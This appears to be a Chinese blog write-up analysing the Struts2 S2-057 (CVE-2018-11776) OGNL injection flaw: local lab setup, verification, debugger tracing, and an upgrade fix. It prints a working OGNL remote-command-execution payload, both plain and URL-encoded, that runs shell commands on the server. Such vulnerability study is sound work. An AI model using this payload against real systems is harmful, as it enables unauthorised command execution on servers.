JAVA代审之Struts2漏洞S2-057的调试分析
文章目录
- 前言
- IDEA调试
- 环境搭建
- 漏洞验证
- 调试分析
- 漏洞修复
- 总结
前言
2018 年 8 月 23 日,Apache Strust2 发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由 Semmle Security Research team 的安全研究员汇报,漏洞编号为 CVE-2018-11776(S2-057),漏洞影响版本:Struts 2.0.4-2.3.34, Struts 2.5.0-2.5.16。官方发布的漏洞公告详情:https://cwiki.apache.org/confluence/display/WW/S2-057。
IDEA调试
环境搭建
1、下载官方源码(https://github.com/apache/Struts),此处选择 2.3.34 版本:
2、把源码包中 src/apps/showcase 整个文件夹拷贝出来:
3、IDEA 导入该 maven 项目:
4、修改 src/main/resoureces 中的配置文件 struts-actionchaining.xml:
更改为:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN""http://struts.apache.org/dtds/struts-2.3.dtd"><struts><package name="actionchaining" extends="struts-default"><action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"><result type="redirectAction"><param name = "actionName">register2</param></result></action><action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2"><result type="chain">xxx</result></action><action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3"><result type="postback"><param name = "actionName">register2</param></result></action></package>
</struts>
5、接着设置 run/debug configurations, 添加本地 Tomcat 环境(需要提前在本地安装 Tomcat 环境):
6、添加项目 War 包 struts2-showcase.war 进 Tomcat 中:
7、配置完以上的准备工作,就可以直接 run 运行程序了:
8、浏览器访问http://localhost:8090/struts2_showcase_war/actionChain1.action
,本地部署漏洞环境完成:
漏洞验证
1、访问http://localhost:8090/struts2_showcase_war/${1+2}/actionChain1.action
,URL 将重新 redirect 到:http://localhost:8090/struts2_showcase_war/3/register2.action
,可以看到 OGNL 表达式 ${1+2} 被解析为了 3,说明漏洞存在:
2、发送以下 Payload,可以成功执行 whoami 命令:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
[*]需进行URL编码再发送:
%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
成功获得服务器的用户名信息:
3、进一步执行 ipconfig 命令:
调试分析
1、在 struts-actionchaining.xml 配置文件中,可以发现<result>
标签的 type是 redirectAction:
2、所以对应地找出 redirectAction 的处理类:org.apache.struts2.result.ServletActionRedirectResult:
3、在 org.apache.struts2.result.ServletActionRedirectResult 类的 execute 方法处下断点:
4、以调试模式运行程序,访问http://localhost:8090/struts2_showcase_war/${1+2}/actionChain1.action
,程序将暂停到断点处:
5、可以看到,在处理 redirectAction 类型的跳转时的逻辑,先把namespace=“/${1+2}”
和actionName=“regiter2”
封装到 ActionMapping 类型对象中,然后通过 getUriFromActionMapping 方法获取到完整 url 地址tmpLocation=“/${1+2}/register2.action”
,并将其赋值给 this 对象的 location 属性,最后调用父类的 execute 方法:
6、单步执行到其父类的父类的 execute 方法如下,看到调用了 conditionalParse 方法,并把 location 属性值传递了进入:
7、跟入该方法,看到了如下调用,就很熟悉了,该方法就是解析 OGNL 表达式的方法,看到将上面的 location 值传了进去:
8、于是 “${1+2}” 表达式就被成功解析了:
至此,OGNL 表达式成功执行。
漏洞修复
S2-057 漏洞存在于小于等于 Struts 2.3.34 和 Struts 2.5.16 的版本中,建议将框架版本升级到官方最新版本。
总结
本文参考文章:
- S2-057-poc;
- struts2漏洞分析(S2-057为例);
- Struts2 S2-057漏洞环境搭建及漏洞分析。
JAVA代审之Struts2漏洞S2-057的调试分析相关推荐
- java struts2 漏洞_Struts2漏洞简述
S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的.我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况 ...
- Vulhub靶场之struts2漏洞复现
简介 struts2漏洞中属s2系列杀伤力最大,可以造成远程命令执行漏洞. Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架.Apache Struts于2020年 ...
- struts2漏洞_十大常见web漏洞——命令执行漏洞
命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...
- Struts2漏洞的前因后果
本文讲的是Struts2漏洞的前因后果,Apache Struts2 作为世界上最流行的 Java Web 服务器框架之一,近期被爆出两大高危漏洞:S2-045(CVE-2017-5638)和S2-0 ...
- Struts2漏洞为互联网带来严重安全风险
http://www.cac.gov.cn/2014-04/30/c_1112077812.htm Struts2漏洞为互联网带来严重安全风险 2014年04月30日 14:37:50来源: 工业和信 ...
- 【安全漏洞】Struts2漏洞集合总结
Struts2 漏洞集合 总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充. 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用d ...
- Struts2漏洞分析之Ognl表达式特性引发的新思路
摘要 在Ognl表达式中,会将被括号"()"包含的变量内容当做Ognl表达式执行.Ognl表达式的这一特性,引发出一种新的攻击思路.通过将恶意代码存储到变量中,然后在调用Ognl表 ...
- 浅谈struts2漏洞(检测工具及S2-052漏洞及漏洞平台的搭建复现)
简介: struts2是apache项目下的一个web框架,主要应用于各类门户网站,而相对应的漏洞则是从2007年7月23日发布的第一个Struts2漏洞S2-001到2018年的S2-057,跨度还 ...
- 快改密码!Struts2漏洞引爆网站“泄密门”
新闻来源:http://net.chinabyte.com/24/12666524.shtml 日前,Apache Struts2发布漏洞公告,称其Struts2 Web应用框架存在一个可以远程执行任 ...
最新文章
- Cell颠覆性发现:中脑神经元的新作用
- 解决xe7无法找到system.pas的问题
- stm32怎么查看什么原因引起的nmi_为什么会有口臭,口臭是什么原因引起的,口臭是怎么回事...
- .gradle文件夹_Travis CI org.gradle.wrapper.GradleWrapperMain 错误
- oxyen eclipse 启动 报错 se启动提示javaw.exe in your current PATH、No java virtual machine
- Vim winmanager文件浏览自动更新
- monkey基本命令及脚本编写
- vim配置Nerdtree
- 浅谈虚拟桌面上线推广的最佳时机
- (转)用Javascript获取页面元素的位置
- Python实现供应链数据分析
- BZOJ 4173: 数学
- 错误数据(图片)去除
- 传统BI+敏捷BI+智能BI
- 从“棱镜门”看回溯技术的应用
- SQL判断字符在字符串中的位置
- oracle 序列/自增ID
- 大学linux操作系统,大学信息技术(Linux操作系统及其应用)
- python判断值是否存在_python如何判断元素是否存在
- tableviewCell复用 重叠问题